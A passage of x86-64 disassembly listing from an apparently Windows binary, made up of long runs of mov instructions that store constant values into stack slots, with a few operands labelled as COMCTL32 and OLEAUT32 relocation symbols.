mov qword [rsp + 0xdb60], rax
mov dword [rsp + 0x6e14], 0x1642
mov byte [rsp + 0x18d], 0x35
mov byte [rsp + 0x18e], 0x4a
mov dword [rsp + 0x6e18], 0x6c92
mov byte [rsp + 0x18f], 0x93
mov eax, 0x392
mov word [rsp + 0x15b8], ax
mov dword [rsp + 0x6e1c], 0xedf3
mov byte [rsp + 0x190], 0x25
movabs rax, 0x7998e0d1776582
mov qword [rsp + 0xdb68], rax
mov byte [rsp + 0x191], 0x86
movabs rax, 0x74c15b6d05b4bd
mov qword [rsp + 0xdb70], rax
movabs rax, 0x73af1f5a3bc228
mov qword [rsp + 0xdb78], rax
mov dword [rsp + 0x6e20], 0xb24
mov dword [rsp + 0x6e24], 0x2e7c
mov eax, 0x673
mov word [rsp + 0x15bc], ax
mov dword [rsp + 0x6e28], 0x30c4
movabs rax, 0x732c561b92dbe5
mov qword [rsp + 0xdb80], rax
mov byte [rsp + 0x192], 0x70
mov eax, 0x6b
mov word [rsp + 0x15c0], ax
mov dword [rsp + 0x6e2c], 0xc15
movabs rax, 0x73ebdd01da6774
mov qword [rsp + 0xdb88], rax
mov eax, 0x113
mov word [rsp + 0x15c4], ax
mov dword [rsp + 0x6e30], 0x72b9
mov byte [rsp + 0x193], 0x4a
mov byte [rsp + 0x194], 0xe0
mov dword [rsp + 0x6e34], 0x32c7
mov eax, 0x38c
mov word [rsp + 0x15c8], ax
mov eax, 0xd57
mov word [rsp + 0x15cc], ax
mov dword [rsp + 0x6e38], 0xbb48
movabs rax, 0x7476cb27c5ba70
mov qword [rsp + 0xdb90], rax
mov dword [rsp + 0x6e3c], 0x653e
mov eax, 0x730
mov word [rsp + 0x15d0], ax
mov eax, 0x1e4
mov word [rsp + 0x15d4], ax
mov byte [rsp + 0x195], 0x24
mov dword [rsp + 0x6e40], 0x584f
mov eax, 0x384
mov word [rsp + 0x15d8], ax
mov byte [rsp + 0x196], 0x67
mov eax, 0x385
mov word [rsp + 0x15dc], ax
mov byte [rsp + 0x197], 0xc6
mov eax, 0xbc3
mov word [rsp + 0x15e0], ax
mov eax, 0x494
mov word [rsp + 0x15e4], ax
mov byte [rsp + 0x198], 0x6c
mov eax, 0x68d
mov word [rsp + 0x15e8], ax
mov eax, 0xeb7
mov word [rsp + 0x15ec], ax
movabs rax, 0x79d55e0f346647
mov qword [rsp + 0xdb98], rax
mov eax, 0x65
mov word [rsp + 0x15f0], ax
mov eax, 0x1f5
mov word [rsp + 0x15f4], ax
movabs rax, 0x76393b9906a59e
mov qword [rsp + 0xdba0], rax
mov byte [rsp + 0x199], 0x87
movabs rax, 0x7a72d07e9069a7
mov qword [rsp + 0xdba8], rax
mov eax, 0x9a8
mov word [rsp + 0x15f8], ax
movabs rax, 0x7d416f17b601ac
mov qword [rsp + 0xdbb0], rax
mov dword [rsp + 0x6e44], 0x10aa
mov eax, 0x5ad
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x6e48], 0xde22
movabs rax, 0x779a8eccee2802
mov qword [rsp + 0xdbb8], rax
mov byte [rsp + 0x19a], 0x1d
mov eax, 0x8be
mov word [rsp + 0x1600], ax
movabs rax, 0x7a4944290bff3c
mov qword [rsp + 0xdbc0], rax
mov eax, 0x2be
mov word [rsp + 0x1604], ax
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], 2
mov byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass], 0x74
mov eax, 0x313
mov word [rsp + 0x1608], ax
movabs rax, 0x7a50c00b1b6499
mov qword [rsp + 0xdbc8], rax
mov eax, 0x4ed
mov word [rsp + 0x160c], ax
mov dword [rsp + 0x6e4c], 0x69af
movabs rax, 0x7d7ed3f16df0ad
mov qword [rsp + 0xdbd0], rax
mov dword [rsp + 0x6e50], 0x595c
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x23
movabs rax, 0x78b6731113d3d4
mov qword [rsp + 0xdbd8], rax
mov byte [rsp + 0x19e], 0x3a
mov byte [rsp + reloc.OLEAUT32.dll_OleCreatePropertyFrameIndirect], 0x3d
mov eax, 0x878
mov word [rsp + 0x1610], ax
mov eax, 0x78
mov word [rsp + 0x1614], ax
mov byte [rsp + 0x1a0], 0x48
mov dword [rsp + 0x6e54], 0x47cd
movabs rax, 0x7b10c836a14d3c
mov qword [rsp + 0xdbe0], rax
mov byte [rsp + 0x1a1], 0x38
mov dword [rsp + 0x6e58], 0x1605
mov eax, 0x549
mov word [rsp + 0x1618], ax
mov dword [rsp + 0x6e5c], 0x82a
movabs rax, 0x7d5897c6cb1dee
mov qword [rsp + 0xdbe8], rax
mov dword [rsp + 0x6e60], 0x375f
movabs rax, 0x707410456c79e3
mov qword [rsp + 0xdbf0], rax
movabs rax, 0x7bc7c4c7115bb6
mov qword [rsp + 0xdbf8], rax
mov dword [rsp + 0x6e64], 0x3ba1
movabs rax, 0x7b0c468c72de14
mov qword [rsp + 0xdc00], rax
movabs rax, 0x7d373643ac0011
mov qword [rsp + 0xdc08], rax
mov byte [rsp + 0x1a2], 0x6c
movabs rax, 0x730cd9485cc4c6
mov qword [rsp + 0xdc10], rax
mov byte [rsp + 0x1a3], reloc.COMCTL32.dll_DrawInsert
movabs rax, 0x7ebdeae90ec646
mov qword [rsp + 0xdc18], rax
movabs rax, 0x774177e8503052
mov qword [rsp + 0xdc20], rax
mov eax, 0x391
mov word [rsp + 0x161c], ax
mov eax, 0x55a
mov word [rsp + 0x1620], ax
mov eax, 0x5bc
mov word [rsp + 0x1624], ax
mov byte [rsp + 0x1a4], 0x73
movabs rax, 0x75b290dd93491c
mov qword [rsp + 0xdc28], rax
mov eax, 0x2aa
mov word [rsp + 0x1628], ax
mov byte [rsp + 0x1a5], 0x1c
movabs rax, 0x7e280a9d6bcd8c
mov qword [rsp + 0xdc30], rax
mov eax, 0x406
mov word [rsp + 0x162c], ax
mov eax, 0x204
mov word [rsp + 0x1630], ax
movabs rax, 0x7edcf7008fd7a5
mov qword [rsp + 0xdc38], rax
mov dword [rsp + 0x6e68], 0x5802
mov byte [rsp + 0x1a6], 0x59
mov dword [rsp + 0x6e6c], 0xf43c
mov eax, 0x5cf
mov word [rsp + 0x1634], ax
mov dword [rsp + 0x6e70], 0x6399
mov dword [rsp + 0x6e74], 0x317a
mov eax, 0x440
mov word [rsp + 0x1638], ax
mov eax, 0x4e8
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x6e78], 0xab35
mov dword [rsp + 0x6e7c], 0x6057
mov dword [rsp + 0x6e80], 0x54d8
mov eax, 0x4d
mov word [rsp + 0x1640], ax
mov byte [rsp + 0x1a7], 0x38
mov eax, 0x32a
mov word [rsp + 0x1644], ax
mov dword [rsp + 0x6e84], 0x1ea1
mov dword [rsp + 0x6e88], 0xb39e
mov dword [rsp + 0x6e8c], 0x27f5
mov eax, reloc.COMCTL32.dll_DrawInsert
mov word [rsp + 0x1648], ax
mov byte [rsp + 0x1a8], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x6e90], 0x421e
mov byte [rsp + 0x1a9], 0x19
mov eax, 0xaeb
mov word [rsp + 0x164c], ax
mov eax, 0x1ae
mov word [rsp + 0x1650], ax
mov eax, 0x75c
mov word [rsp + 0x1654], ax
movabs rax, 0x7efbe18ce806ed
mov qword [rsp + 0xdc40], rax
movabs rax, 0x78d0dfccf544cb
mov qword [rsp + 0xdc48], rax
mov eax, 0x5c9
mov word [rsp + 0x1658], ax
mov eax, 0x776
mov word [rsp + 0x165c], ax
movabs rax, 0x7a2c0ddf025834
mov qword [rsp + 0xdc50], rax
mov eax, 0x28
mov word [rsp + 0x1660], ax
mov byte [rsp + 0x1aa], 0x88
mov dword [rsp + 0x6e94], 0x5d60
mov eax, 0x66e
mov word [rsp + 0x1664], ax
mov eax, 0x2c5
mov word [rsp + 0x1668], ax
mov eax, 0x867
mov word [rsp + 0x166c], ax
mov eax, 0x85d
mov word [rsp + 0x1670], ax
mov eax, 0x783
mov word [rsp + 0x1674], ax
mov dword [rsp + 0x6e98], 0xb38f
movabs rax, 0x737e0d5ca3882c
mov qword [rsp + 0xdc58], rax
mov eax, 0x411
mov word [rsp + 0x1678], ax
mov eax, 0x711
mov word [rsp + 0x167c], ax
mov eax, 0x550
mov word [rsp + 0x1680], ax
mov byte [rsp + 0x1ab], 0x3b
mov byte [rsp + 0x1ac], 0x24
movabs rax, 0x7a7998a3de67cf
mov qword [rsp + 0xdc60], rax
mov eax, 0x354
mov word [rsp + 0x1684], ax
mov eax, 0x56b
mov word [rsp + 0x1688], ax
movabs rax, 0x71e2e470831f00
mov qword [rsp + 0xdc68], rax
mov dword [rsp + 0x6e9c], 0xba4c
mov dword [rsp + 0x6ea0], 0xfa1e
movabs rax, 0x7d7311cbb93c9d
mov qword [rsp + 0xdc70], rax
movabs rax, 0x7e84c347627819
mov qword [rsp + 0xdc78], rax
mov byte [rsp + 0x1ad], 0x2a
mov dword [rsp + 0x6ea4], 0x1b1a
movabs rax, 0x7b7e51013f34b5
mov qword [rsp + 0xdc80], rax
mov eax, 0x315
mov word [rsp + 0x168c], ax
mov dword [rsp + 0x6ea8], 0xd713
mov dword [rsp + 0x6eac], 0x4038
movabs rax, 0x75adcf32d58a88
mov qword [rsp + 0xdc88], rax
mov eax, 0x306
mov word [rsp + 0x1690], ax
mov dword [rsp + 0x6eb0], 0x5457
movabs rax, 0x7eeca8fe34d696
mov qword [rsp + 0xdc90], rax
mov eax, 0x154
mov word [rsp + 0x1694], ax
mov byte [rsp + 0x1ae], 0xe4
mov dword [rsp + 0x6eb4], 0x378a
mov byte [rsp + 0x1af], 0x7a
mov eax, 0x408
mov word [rsp + 0x1698], ax
mov dword [rsp + 0x6eb8], 0x3ba9
movabs rax, 0x79c29a2b2213f7
mov qword [rsp + 0xdc98], rax
mov dword [rsp + 0x6ebc], 0x1a74
mov byte [rsp + 0x1b0], 0xa2
movabs rax, 0x7b7fb6054f9258
mov qword [rsp + 0xdca0], rax
mov eax, 0x249
mov word [rsp + 0x169c], ax
mov eax, 0x3d0
mov word [rsp + 0x16a0], ax
mov dword [rsp + 0x6ec0], 0x45bb
movabs rax, 0x7630c52995f2bf
mov qword [rsp + 0xdca8], rax
movabs rax, 0x7e280b802ade3b
mov qword [rsp + 0xdcb0], rax
mov byte [rsp + 0x1b1], 0x5e
mov byte [rsp + 0x1b2], 0x8e
mov byte [rsp + 0x1b3], 0x78
mov eax, 0x661
mov word [rsp + 0x16a4], ax
mov eax, 0x4d9
mov word [rsp + 0x16a8], ax
mov eax, 0x163
mov word [rsp + 0x16ac], ax
mov eax, 0x245
mov word [rsp + 0x16b0], ax
movabs rax, 0x7ea52fe1195f4a
mov qword [rsp + 0xdcb8], rax
movabs rax, 0x7e3006343fcb03
mov qword [rsp + 0xdcc0], rax
mov byte [rsp + 0x1b4], 0x78
mov eax, 0x1e2
mov word [rsp + 0x16b4], ax
movabs rax, 0x7538428cbadecd
mov qword [rsp + 0xdcc8], rax
mov dword [rsp + 0x6ec4], 0xbbc
mov dword [rsp + 0x6ec8], 0x7df1
mov dword [rsp + 0x6ecc], 0x5d0a
mov dword [rsp + 0x6ed0], 0x4c21
movabs rax, 0x7406ad12186b78
mov qword [rsp + 0xdcd0], rax
movabs rax, 0x7b32acc870ea47
mov qword [rsp + 0xdcd8], rax
mov eax, 0x920
mov word [rsp + 0x16b8], ax
movabs rax, 0x7929167a19d846
mov qword [rsp + 0xdce0], rax
mov eax, 0xd1d
mov word [rsp + 0x16bc], ax
movabs rax, 0x7d62b70e7e84e8
mov qword [rsp + 0xdce8], rax
mov eax, 0x520
mov word [rsp + 0x16c0], ax
mov dword [rsp + 0x6ed4], 0x6937
mov dword [rsp + 0x6ed8], 0x3b64
mov eax, 0x7b
mov word [rsp + 0x16c4], ax
mov dword [rsp + 0x6edc], 0x6a47
mov eax, 0x54e
mov word [rsp + 0x16c8], ax
mov dword [rsp + 0x6ee0], 0x3188
mov dword [rsp + 0x6ee4], 0x215f
mov dword [rsp + 0x6ee8], 0x3ba8
movabs rax, 0x7842ca2c06ac38
mov qword [rsp + 0xdcf0], rax
mov eax, 0x6d8
mov word [rsp + 0x16cc], ax
movabs rax, 0x7ccd30dd902390
mov qword [rsp + 0xdcf8], rax
movabs rax, 0x731a50ef239c66
mov qword [rsp + 0xdd00], rax
mov dword [rsp + 0x6eec], 0xaf88
mov eax, 0xbaf
mov word [rsp + 0x16d0], ax
mov eax, 0xa47
mov word [rsp + 0x16d4], ax
mov dword [rsp + 0x6ef0], 0x66e7
movabs rax, 0x752ed67962ad4c
mov qword [rsp + 0xdd08], rax
mov byte [rsp + 0x1b5], 0x45
mov eax, 0x477
mov word [rsp + 0x16d8], ax
movabs rax, 0x7a8232237ed7c3
mov qword [rsp + 0xdd10], rax
mov dword [rsp + 0x6ef4], 0xb5b3
movabs rax, 0x7d967c6b5b240d
mov qword [rsp + 0xdd18], rax
mov eax, 0xb51
mov word [rsp + 0x16dc], ax
movabs rax, 0x741a8d3661134d
mov qword [rsp + 0xdd20], rax
mov dword [rsp + 0x6ef8], 0x617a
movabs rax, 0x77efa188793103
mov qword [rsp + 0xdd28], rax
mov dword [rsp + 0x6efc], 0x46c2
mov eax, 0x53f
mov word [rsp + 0x16e0], ax
mov dword [rsp + 0x6f00], 0xe11b
mov byte [rsp + 0x1b6], 0x61
mov dword [rsp + 0x6f04], 0x470b
movabs rax, 0x75ad980a319ee9
mov qword [rsp + 0xdd30], rax
mov byte [rsp + 0x1b7], 0x4b
mov byte [rsp + 0x1b8], 0x22
movabs rax, 0x76ee27ec2b8a58
mov qword [rsp + 0xdd38], rax
movabs rax, 0x787e591ca298c5
mov qword [rsp + 0xdd40], rax
mov eax, 0x9db
mov word [rsp + 0x16e4], ax
mov eax, 0x840
mov word [rsp + 0x16e8], ax
mov eax, 0xac8
mov word [rsp + 0x16ec], ax
mov byte [rsp + 0x1b9], 0xb9
mov byte [rsp + 0x1ba], 0xbf
mov byte [rsp + 0x1bb], 0xf2
mov dword [rsp + 0x6f08], 0x5f44
mov byte [rsp + 0x1bc], 0x9c
mov dword [rsp + 0x6f0c], 0x1625
mov byte [rsp + 0x1bd], 0xf6
mov byte [rsp + 0x1be], 0x55
mov dword [rsp + 0x6f10], 0x4a59
movabs rax, 0x74eb319bb0a679
mov qword [rsp + 0xdd48], rax
mov byte [rsp + 0x1bf], 0x72
mov byte [rsp + 0x1c0], 0x7f
mov eax, 0x184
mov word [rsp + 0x16f0], ax
mov dword [rsp + 0x6f14], 0x2278
mov byte [rsp + 0x1c1], 0x27
movabs rax, 0x79c1db7741c0dc
mov qword [rsp + 0xdd50], rax
mov byte [rsp + 0x1c2], 0xb9
mov dword [rsp + 0x6f18], 0x60b9
mov eax, 0x3a7
mov word [rsp + 0x16f4], ax
mov eax, 0x4a5
mov word [rsp + 0x16f8], ax
mov byte [rsp + 0x1c3], 0xca
mov byte [rsp + 0x1c4], 0x46
movabs rax, 0x72caea248dc2b8
mov qword [rsp + 0xdd58], rax
movabs rax, 0x7d6c9ff6b5d140
mov qword [rsp + 0xdd60], rax
mov dword [rsp + 0x6f1c], 0x40e2
mov eax, 0x499
mov word [rsp + 0x16fc], ax
mov dword [rsp + 0x6f20], 0x5410
movabs rax, 0x724a62810e9df7
mov qword [rsp + 0xdd68], rax
mov eax, 0x365
mov word [rsp + 0x1700], ax
movabs rax, 0x79383359919dc2
mov qword [rsp + 0xdd70], rax
mov byte [rsp + 0x1c5], 8
movabs rax, 0x7cb1170aee1b9d
mov qword [rsp + 0xdd78], rax
movabs rax, 0x748b0173bba2b7
mov qword [rsp + 0xdd80], rax
mov dword [rsp + 0x6f24], 0x3aa6
mov eax, 0x3df
mov word [rsp + 0x1704], ax
mov dword [rsp + 0x6f28], 0xb390
mov dword [rsp + 0x6f2c], 0xfc4e
movabs rax, 0x73b2d214bd47fe
mov qword [rsp + 0xdd88], rax
mov dword [rsp + 0x6f30], 0x585b
mov dword [rsp + 0x6f34], 0x4556
mov dword [rsp + 0x6f38], 0x5a32
movabs rax, 0x797227a24d7dee
mov qword [rsp + 0xdd90], rax
movabs rax, 0x70c6d4c09031d5
mov qword [rsp + 0xdd98], rax
mov dword [rsp + 0x6f3c], 0x1601
movabs rax, 0x7cb214659cb94a
mov qword [rsp + 0xdda0], rax
mov byte [rsp + 0x1c6], 0x4f
mov byte [rsp + 0x1c7], 0xc9
mov byte [rsp + 0x1c8], 0x4f
mov eax, 0x9d0
mov word [rsp + 0x1708], ax
mov eax, 0x6f8
mov word [rsp + 0x170c], ax
mov eax, 0x602
mov word [rsp + 0x1710], ax
movabs rax, 0x78e6051d908040
mov qword [rsp + 0xdda8], rax
mov eax, 0x4e3
mov word [rsp + 0x1714], ax
movabs rax, 0x728a6d37eb4eed
mov qword [rsp + 0xddb0], rax
movabs rax, 0x7c1d3e29f1a7ad
mov qword [rsp + 0xddb8], rax
movabs rax, 0x7dd7efa1db4b1a
mov qword [rsp + 0xddc0], rax
mov eax, 0x86a
mov word [rsp + 0x1718], ax
movabs rax, 0x703cdacb2cca82
mov qword [rsp + 0xddc8], rax
movabs rax, 0x739b9c19c71a76
mov qword [rsp + 0xddd0], rax
mov byte [rsp + 0x1c9], 0x35
movabs rax, 0x74454f0af9a87b
mov qword [rsp + 0xddd8], rax
mov eax, 0xa57
mov word [rsp + 0x171c], ax
movabs rax, 0x73306e314957cd
mov qword [rsp + 0xdde0], rax
mov dword [rsp + 0x6f40], 0x619e
mov dword [rsp + 0x6f44], 0x24d7
mov eax, 0x4bb
mov word [rsp + 0x1720], ax
movabs rax, 0x70ff173b9bad8f
mov qword [rsp + 0xdde8], rax
mov eax, 0x9cc
mov word [rsp + 0x1724], ax
mov dword [rsp + 0x6f48], 0x11b3
mov eax, 0xdb5
mov word [rsp + 0x1728], ax
mov dword [rsp + 0x6f4c], 0x1ff2
mov dword [rsp + 0x6f50], 0x5356
mov dword [rsp + 0x6f54], 0x62b5
mov dword [rsp + 0x6f58], 0x3ff9
mov eax, 0xf7f
mov word [rsp + 0x172c], ax
mov dword [rsp + 0x6f5c], 0x1dd7
mov eax, 0x123
mov word [rsp + 0x1730], ax
movabs rax, 0x74e0b996f632a0
mov qword [rsp + 0xddf0], rax
movabs rax, 0x75e59f49fac3d3
mov qword [rsp + 0xddf8], rax
mov dword [rsp + 0x6f60], 0xe46d
movabs rax, 0x70ade7b95fd911
mov qword [rsp + 0xde00], rax
mov eax, 0x20c
mov word [rsp + 0x1734], ax
movabs rax, 0x78b1e01badbc26
mov qword [rsp + 0xde08], rax
movabs rax, 0x7b589303f74058
mov qword [rsp + 0xde10], rax
movabs rax, 0x73fea688cdea96
mov qword [rsp + 0xde18], rax
movabs rax, 0x72bba3ed2930bb
mov qword [rsp + 0xde20], rax
mov dword [rsp + 0x6f64], 0x2258
movabs rax, 0x76fc8ff961a1c6
mov qword [rsp + 0xde28], rax
movabs rax, 0x744e7317a2c5f1
mov qword [rsp + 0xde30], rax
mov eax, 0x8d0
mov word [rsp + 0x1738], ax
movabs rax, 0x7a8b1b7ed0246b
mov qword [rsp + 0xde38], rax
mov eax, 0x3ac
mov word [rsp + 0x173c], ax
mov eax, 0x93f
mov word [rsp + 0x1740], ax
mov dword [rsp + 0x6f68], 0x1a84
mov dword [rsp + 0x6f6c], 0x8587
mov dword [rsp + 0x6f70], 0x9484
movabs rax, 0x784dc7a5d40c5a
mov qword [rsp + 0xde40], rax
movabs rax, 0x7bc7f9f4469281
mov qword [rsp + 0xde48], rax
mov dword [rsp + 0x6f74], 0x4033
mov byte [rsp + 0x1ca], 0xfd
mov eax, 0x148
mov word [rsp + 0x1744], ax
mov dword [rsp + 0x6f78], 0xd5c6
mov dword [rsp + 0x6f7c], 0x11ba
mov byte [rsp + 0x1cb], 5
movabs rax, 0x7918852bdd6bd3
mov qword [rsp + 0xde50], rax
movabs rax, 0x758fe1ab672bf4
mov qword [rsp + 0xde58], rax
mov byte [rsp + 0x1cc], 0xfe
movabs rax, 0x7416bc6b7eac9a
mov qword [rsp + 0xde60], rax
mov dword [rsp + 0x6f80], 0x4301
mov byte [rsp + 0x1cd], 0x73
mov dword [rsp + 0x6f84], 0x5eaa
movabs rax, 0x78febe19bb79cc
mov qword [rsp + 0xde68], rax
mov dword [rsp + 0x6f88], 0x6a44
mov byte [rsp + 0x1ce], 0x75
mov dword [rsp + 0x6f8c], 0x7b0e
mov byte [rsp + 0x1cf], 0x2f
mov byte [rsp + 0x1d0], 0x3c
mov dword [rsp + 0x6f90], 0x39ff
movabs rax, 0x78a97f6db6c276
mov qword [rsp + 0xde70], rax
mov byte [rsp + 0x1d1], 0xfb
mov byte [rsp + 0x1d2], 0x4c
movabs rax, 0x7e339aa582d646
mov qword [rsp + 0xde78], rax
mov eax, 0x313
mov word [rsp + 0x1748], ax
mov eax, 0x66a
mov word [rsp + 0x174c], ax
mov dword [rsp + 0x6f94], 0xcc7a
movabs rax, 0x712acde9c2f926
mov qword [rsp + 0xde80], rax
mov dword [rsp + 0x6f98], 0x795e
mov eax, 0xfd4
mov word [rsp + 0x1750], ax
mov eax, 0x291
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x1d3], 0x6b
mov byte [rsp + 0x1d4], 0xeb
mov eax, 0xa02
mov word [rsp + 0x1758], ax
mov dword [rsp + 0x6f9c], 0x7c01
movabs rax, 0x7b41f01542c43a
mov qword [rsp + 0xde88], rax
mov eax, 0xbbc
mov word [rsp + 0x175c], ax
mov byte [rsp + 0x1d5], 0x71
mov byte [rsp + 0x1d6], 0xe9
movabs rax, 0x79ca35cb8235fa
mov qword [rsp + 0xde90], rax
mov dword [rsp + 0x6fa0], 0x391b
movabs rax, 0x7a6f3bc5ffec22
mov qword [rsp + 0xde98], rax
movabs rax, 0x774db1ac510686
mov qword [rsp + 0xdea0], rax
mov dword [rsp + 0x6fa4], 0x6045
mov byte [rsp + 0x1d7], 0x59
movabs rax, 0x795d13b3adfd06
mov qword [rsp + 0xdea8], rax
mov byte [rsp + 0x1d8], 0xf6
mov dword [rsp + 0x6fa8], 0x819
movabs rax, 0x74fde002a573a0
mov qword [rsp + 0xdeb0], rax
movabs rax, 0x72282c77169915
mov qword [rsp + 0xdeb8], rax
movabs rax, 0x753dd7bd1cdeb8
mov qword [rsp + 0xdec0], rax
movabs rax, 0x7761c19bbf7ec7
mov qword [rsp + 0xdec8], rax
mov eax, 0x4f2
mov word [rsp + 0x1760], ax
movabs rax, 0x77b4215bb91c6d
mov qword [rsp + 0xded0], rax
mov dword [rsp + 0x6fac], 0xbd63
movabs rax, 0x77d36c8b478f3f
mov qword [rsp + 0xded8], rax
mov eax, 0x6dd
mov word [rsp + 0x1764], ax
mov byte [rsp + 0x1d9], 0x57
mov eax, 0x1d6
mov word [rsp + 0x1768], ax
mov eax, 0x534
mov word [rsp + 0x176c], ax
mov eax, 0xd5e
mov word [rsp + 0x1770], ax
mov dword [rsp + 0x6fb0], 0x53b8
mov dword [rsp + 0x6fb4], 0x3ce9
mov eax, 0x45c
mov word [rsp + 0x1774], ax
movabs rax, 0x76c4945011b3cf
mov qword [rsp + 0xdee0], rax
mov dword [rsp + 0x6fb8], 0x3301
mov byte [rsp + 0x1da], 0x17
movabs rax, 0x759a2d827c4b8d
mov qword [rsp + 0xdee8], rax
movabs rax, 0x705e8582dfc4c1
mov qword [rsp + 0xdef0], rax
mov dword [rsp + 0x6fbc], 0x447a
mov eax, 6
mov word [rsp + 0x1778], ax
mov dword [rsp + 0x6fc0], 0x6e22
movabs rax, 0x77fc1a14a799ec
mov qword [rsp + 0xdef8], rax
mov byte [rsp + 0x1db], 0x23
mov dword [rsp + 0x6fc4], 0x1f9
mov byte [rsp + 0x1dc], 0x2e
movabs rax, 0x733ceb11cbcb44
mov qword [rsp + 0xdf00], rax
movabs rax, 0x749cab0dc6d564
mov qword [rsp + 0xdf08], rax
movabs rax, 0x7bd6e440532bb8
mov qword [rsp + 0xdf10], rax
movabs rax, 0x777f9e68e8aa48
mov qword [rsp + 0xdf18], rax
movabs rax, 0x751f8d113218f1
mov qword [rsp + 0xdf20], rax
movabs rax, 0x774fe2ecf43f21
mov qword [rsp + 0xdf28], rax
movabs rax, 0x7ec910242eae1f
mov qword [rsp + 0xdf30], rax
mov byte [rsp + 0x1dd], 0x2a
movabs rax, 0x7be4bdf5c725a4
mov qword [rsp + 0xdf38], rax
movabs rax, 0x75e29c5423783c
mov qword [rsp + 0xdf40], rax
movabs rax, 0x716421a3808a4c
mov qword [rsp + 0xdf48], rax
mov eax, 0x229
mov word [rsp + 0x177c], ax
mov dword [rsp + 0x6fc8], 0xd326
mov eax, 0x6f6
mov word [rsp + 0x1780], ax
mov eax, 0x5e7
mov word [rsp + 0x1784], ax
movabs rax, 0x75171e3300f95d
mov qword [rsp + 0xdf50], rax
mov eax, 0x3b4
mov word [rsp + 0x1788], ax
mov dword [rsp + 0x6fcc], 0x3ff8
mov dword [rsp + 0x6fd0], 0xe75b
movabs rax, 0x742db4f066b877
mov qword [rsp + 0xdf58], rax
mov eax, 0x5b9
mov word [rsp + 0x178c], ax
mov eax, 0x67b
mov word [rsp + 0x1790], ax
movabs rax, 0x78a81c3f94fb8b
mov qword [rsp + 0xdf60], rax
mov byte [rsp + 0x1de], 0xee
mov dword [rsp + 0x6fd4], 0x5406
mov byte [rsp + 0x1df], 0x35
mov byte [rsp + 0x1e0], 0x2c
mov dword [rsp + 0x6fd8], 0x654a
movabs rax, 0x729aea8f618c77
mov qword [rsp + 0xdf68], rax
mov eax, 0x108
mov word [rsp + 0x1794], ax
mov byte [rsp + 0x1e1], 0xa5
mov eax, 0x21d
mov word [rsp + 0x1798], ax
mov byte [rsp + 0x1e2], 0xea
mov byte [rsp + 0x1e3], 0x83
mov eax, 0xe9
mov word [rsp + 0x179c], ax
mov dword [rsp + 0x6fdc], 0x1bd
movabs rax, 0x710475d27c3f84
mov qword [rsp + 0xdf70], rax
mov byte [rsp + 0x1e4], 0x53
mov byte [rsp + 0x1e5], 0x43
movabs rax, 0x70675c1b2c8e80
mov qword [rsp + 0xdf78], rax
mov eax, 0xff5
mov word [rsp + 0x17a0], ax
movabs rax, 0x798b21c86bca89
mov qword [rsp + 0xdf80], rax
mov dword [rsp + 0x6fe0], 0x2f07
movabs rax, 0x7974a50540f5bb
mov qword [rsp + 0xdf88], rax
movabs rax, 0x78f3a42598adfe
mov qword [rsp + 0xdf90], rax
mov byte [rsp + 0x1e6], 0x21
mov byte [rsp + 0x1e7], DrawInsert
mov dword [rsp + 0x6fe4], 0x3ba1
movabs rax, 0x722c7e4b8f9ec7
mov qword [rsp + 0xdf98], rax
mov dword [rsp + 0x6fe8], 0xbc17
movabs rax, 0x7b306129e62bed
mov qword [rsp + 0xdfa0], rax
mov eax, 0x20c
mov word [rsp + 0x17a4], ax
mov eax, 0x3d3
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x6fec], 0x7ff2
mov dword [rsp + 0x6ff0], 0xc8c8
movabs rax, 0x7cf0a54c932488
mov qword [rsp + 0xdfa8], rax
movabs rax, 0x79782964c1f50e
mov qword [rsp + 0xdfb0], rax
mov dword [rsp + 0x6ff4], 0x9418
mov byte [rsp + 0x1e8], 0xe4
movabs rax, 0x755afec529dcf7
mov qword [rsp + 0xdfb8], rax
mov eax, 0xe27
mov word [rsp + 0x17ac], ax
movabs rax, 0x7060b337ace7c5
mov qword [rsp + 0xdfc0], rax
mov eax, 0x406
mov word [rsp + 0x17b0], ax
movabs rax, 0x7ab4af6a4e79a3
mov qword [rsp + 0xdfc8], rax
mov byte [rsp + 0x1e9], 0x2c
movabs rax, 0x79ceb3f84dde11
mov qword [rsp + 0xdfd0], rax
movabs rax, 0x7bdf1b23b371cc
mov qword [rsp + 0xdfd8], rax
mov dword [rsp + 0x6ff8], 0xa50
mov byte [rsp + 0x1ea], 0xd0
mov byte [rsp + 0x1eb], 0xe9
mov byte [rsp + 0x1ec], 0xaf
movabs rax, 0x78cd697bc62d0d
mov qword [rsp + 0xdfe0], rax
mov eax, 0x35
mov word [rsp + 0x17b4], ax
mov byte [rsp + 0x1ed], 0x72
mov eax, 0x295
mov word [rsp + 0x17b8], ax
mov dword [rsp + 0x6ffc], 0x3f83
mov dword [rsp + 0x7000], 0xe10c
mov byte [rsp + 0x1ee], 0x67
mov dword [rsp + 0x7004], 0x4924
mov byte [rsp + 0x1ef], 0xc9
mov dword [rsp + 0x7008], 0xfff6
mov byte [rsp + 0x1f0], 0x17
mov eax, 0x7c5
mov word [rsp + 0x17bc], ax
movabs rax, 0x71465632a5bd34
mov qword [rsp + 0xdfe8], rax
movabs rax, 0x7b38d486f0cb45
mov qword [rsp + 0xdff0], rax
mov eax, 0x66f
mov word [rsp + 0x17c0], ax
movabs rax, 0x7a78b55d0c2090
mov qword [rsp + 0xdff8], rax
movabs rax, 0x706df15fc46928
mov qword [rsp + 0xe000], rax
mov eax, 0xd5b
mov word [rsp + 0x17c4], ax
mov dword [rsp + 0x700c], 0x189b
mov byte [rsp + 0x1f1], 0xce
mov eax, 0x12f
mov word [rsp + 0x17c8], ax
mov dword [rsp + 0x7010], 0x7dc0
mov eax, 0x241
mov word [rsp + 0x17cc], ax
mov eax, 0x59b
mov word [rsp + 0x17d0], ax
mov byte [rsp + 0x1f2], 0x71
movabs rax, 0x7285c5f51a06b7
mov qword [rsp + 0xe008], rax
movabs rax, 0x7c41af376d63a8
mov qword [rsp + 0xe010], rax
mov dword [rsp + 0x7014], 0x18d3
movabs rax, 0x733bdd0e540a06
mov qword [rsp + 0xe018], rax
mov eax, 0x13a
mov word [rsp + 0x17d4], ax
movabs rax, 0x788c16bca2bf9a
mov qword [rsp + 0xe020], rax
mov eax, 0xa72
